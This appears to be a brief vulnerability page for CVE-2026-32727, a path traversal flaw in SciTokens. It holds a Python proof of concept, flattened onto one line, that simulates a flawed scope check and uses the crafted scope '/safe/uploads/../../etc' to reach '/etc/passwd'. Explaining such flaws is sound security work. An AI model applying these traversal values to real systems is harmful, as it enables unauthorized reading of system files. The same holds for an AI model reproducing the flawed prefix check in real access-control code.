CVE-2026-32727 SciTokens路径遍历漏洞

import scitokens import os # Conceptual Proof of Concept for CVE-2026-32727 # This demonstrates how a path traversal in the scope claim can bypass directory restrictions. def simulate_vulnerable_enforcer(token_scope, requested_path): # Simulate the vulnerable normalization logic # In the vulnerable version, both paths are normalized before checking normalized_scope = os.path.normpath(token_scope) normalized_request = os.path.normpath(requested_path) # The vulnerability lies here: checking if request starts with scope after normalization # If scope is ../../etc and request is /etc/passwd, check passes if normalized_request.startswith(normalized_scope): return True return False # Scenario: Attacker crafts a token with a scope that escapes the intended directory malicious_scope = "/safe/uploads/../../etc" # Intended to restrict to /safe/uploads requested_file = "/etc/passwd" if simulate_vulnerable_enforcer(malicious_scope, requested_file): print(f"[+] EXPLOIT SUCCESSFUL: Access granted to {requested_file}") else: print(f"[-] Access denied to {requested_file}")